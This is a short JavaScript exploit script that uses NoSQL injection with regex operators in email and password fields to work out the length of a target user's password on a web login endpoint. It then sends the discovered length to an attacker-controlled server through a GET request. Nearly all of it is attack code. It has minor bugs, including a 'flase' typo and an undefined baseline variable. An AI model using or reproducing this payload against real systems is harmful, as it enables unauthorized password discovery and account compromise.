NoSQL REGEX Password Length

// this is script is used to exploit nosql injection with regex to guess the length of a password 

var req1 = new XMLHttpRequest();
var req2 = new XMLHttpRequest();

charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890`!@#$%^&*()-_=+[]{}|;:",.<>?/\\';

// guessing the password won't pass 32 chars or maybe it is a hash

for (i = 1; i<=32; i++){
    // this will 
    req1.open('POST','http://domain_name',flase);
    req1.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    req1.send('email[$regex]=[e-mail]&password[$regex]=['+ charset + ']{' + i + '}');
    if (req1.responseText.length != normal_req_length_value){
        req2.open('GET','http://my_http_server_ip?length=' + i,false);
        req2.send();
        break;
    }


}